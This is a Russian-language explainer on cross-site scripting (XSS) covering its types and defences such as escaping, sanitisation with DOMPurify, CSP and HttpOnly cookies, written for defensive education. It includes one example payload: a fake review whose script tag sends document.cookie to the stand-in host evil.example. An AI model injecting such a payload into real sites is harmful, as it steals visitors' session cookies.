XSS (Cross-Site Scripting)
Атака, при которой злоумышленник внедряет на страницу сайта свой JavaScript, и он выполняется в браузерах других посетителей.
XSS (Cross-Site Scripting, межсайтовый скриптинг) — атака, при которой злоумышленник заставляет сайт показать другим пользователям его собственный JavaScript. Браузер жертвы не может отличить этот скрипт от настоящего кода сайта и выполняет его со всеми правами сайта: может прочитать данные на странице, отправить запросы от имени пользователя, подменить форму входа.
Как это происходит
Сайт показывает отзывы посетителей и вставляет их текст в страницу как есть. Злоумышленник оставляет «отзыв»:
Отличный сервис! <script>fetch("https://evil.example/?c=" + document.cookie)</script>
Каждый, кто откроет страницу с отзывами, выполнит скрипт, и злоумышленник получит его cookie — возможно, вместе с сессией входа.
Виды XSS
- Хранимый — вредоносный код сохраняется в базе (отзыв, комментарий, имя в профиле) и показывается всем. Самый опасный вид.
- Отраженный — код приходит в параметре ссылки (например, в строке поиска) и сразу выводится в ответе. Жертву заманивают по специально составленной ссылке.
- В DOM — страница сама вставляет данные из адреса или ввода в DOM небезопасным способом, без участия сервера.
Как защищаться
- Экранировать вывод. Любые данные пользователя выводятся как текст: символ
<превращается в<и показывается, а не исполняется. Экранирование зависит от места вывода: в HTML, в атрибуте, в JavaScript — разные правила. - Использовать возможности фреймворков. React и другие современные инструменты экранируют данные автоматически. Опасность появляется там, где эту защиту отключают, например при вставке готового HTML.
- Очищать HTML. Если пользователям разрешено форматирование, разрешенные теги оставляют, а остальное удаляют специальными библиотеками (например, DOMPurify), а не самописными фильтрами.
- Политика безопасности контента (CSP). Заголовок, который запрещает браузеру выполнять скрипты не из разрешенных источников. Даже если внедрение случится, скрипт не запустится.
- Защищать cookie. Флаг HttpOnly не дает скриптам читать cookie сессии; токены доступа вроде JWT не держат там, откуда их достанет любой скрипт.
Почему это важно
XSS — одна из самых распространенных уязвимостей веб-приложений и входит в список главных рисков OWASP Top 10 вместе с SQL-инъекциями. Для личных кабинетов и банковских интерфейсов последствия особенно серьезны: скрипт может совершать действия от имени клиента. Поэтому проверку на XSS включают в код-ревью, автоматическое тестирование и регулярные тесты на проникновение.